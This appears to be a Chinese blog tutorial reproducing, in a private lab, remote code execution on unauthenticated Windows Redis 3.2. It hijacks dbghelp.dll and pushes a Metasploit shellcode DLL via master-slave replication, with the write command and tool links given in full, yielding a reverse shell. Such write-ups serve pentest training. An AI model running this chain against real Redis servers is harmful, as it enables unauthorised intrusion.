Windows中redis未授权通过dll劫持上线

参考自https://mp.weixin.qq.com/s/U-UD7h92fEJzCjyGbgF4Og

前言

项目中时不时会遇到windows的redis未授权,利用dll劫持可以不用重启获取shell。本文参考网上师傅们的文章详细复现了过程,供各位才入坑的朋友们参考。

前期准备

环境

攻击机:192.168.254.129 win10 默认安装 Redis 3.2.100
目标机:192.168.254.130 win2012 默认安装Redis 3.2.100
回连主机:192.168.254.131,kali msf shellcode

工具准备

dll_hijack
https://github.com/JKme/sb_kiddie-/tree/master/hacking_win/dll_hijack
RedisWrite
https://github.com/r35tart/RedisWriteFile
redis-dump-go
https://github.com/yannh/redis-dump-go
visual studio 2019 微软官网下载

安装redis

攻击机和目标机都采用默认安装,Redis Service会开机自启,权限为Network Service ,对默认目录是拥有完全控制权限的。

寻找DLL劫持目标

连接redis-cli.exe -h 192.168.254.130,使用bgsave命令,查看缺少的dll



可以看到dbghelp.dll可以作为劫持目标,除了bgsave,其他的命令操作也可以触发其他dll。dbghelp.dll系统自带,我们可以直接拿来利用

利用复现

连接redis,执行info命令,通过config_file能看到路径,我这里不知道怎么配置的没了,所以该复现步骤前提是要知道redis的安装目录。

使用dllHijack工具,执行后生成dbghelp项目
python DllHijacker.py dbghelp.dll


msf生成c的payload

将dbghelp项目中的shellcode进行替换

,release生成

使用主从复制将修改后的dll写入到目标指定位置
下载RedisWriteFile工具,将修改后的dll放在同一个目录下,执行命令
python RedisWriteFile.py --rhost=192.168.254.130 --rport=6379 --lhost=192.168.254.129 --rpath="C:\\Users\\superman\\Desktop\\Redis-x64-3.0.504\\" --rfile="dbghelp.dll" --lfile="dbghelp.dll"

可以看到目标机器被写入了dll文件

在redis客户端连接执行bgsave,尝试触发劫持dll

同时间可以看到msf收到了shell

总结

1、为什么不直接用主从复制获得shell,Windows版的redis目前最高支持版本为3.2,主从复制的前提是需要关键模块MODULE LOAD,这个是redis4.0之后才有的。
2、个人环境测试,发现该dll劫持方式不会影响redis运行,但是会影响redis启动或重启,将恶意的dll删除即可恢复

posted @ 2022-10-18 17:30  我要变超人  阅读(1171)  评论(0编辑  收藏  举报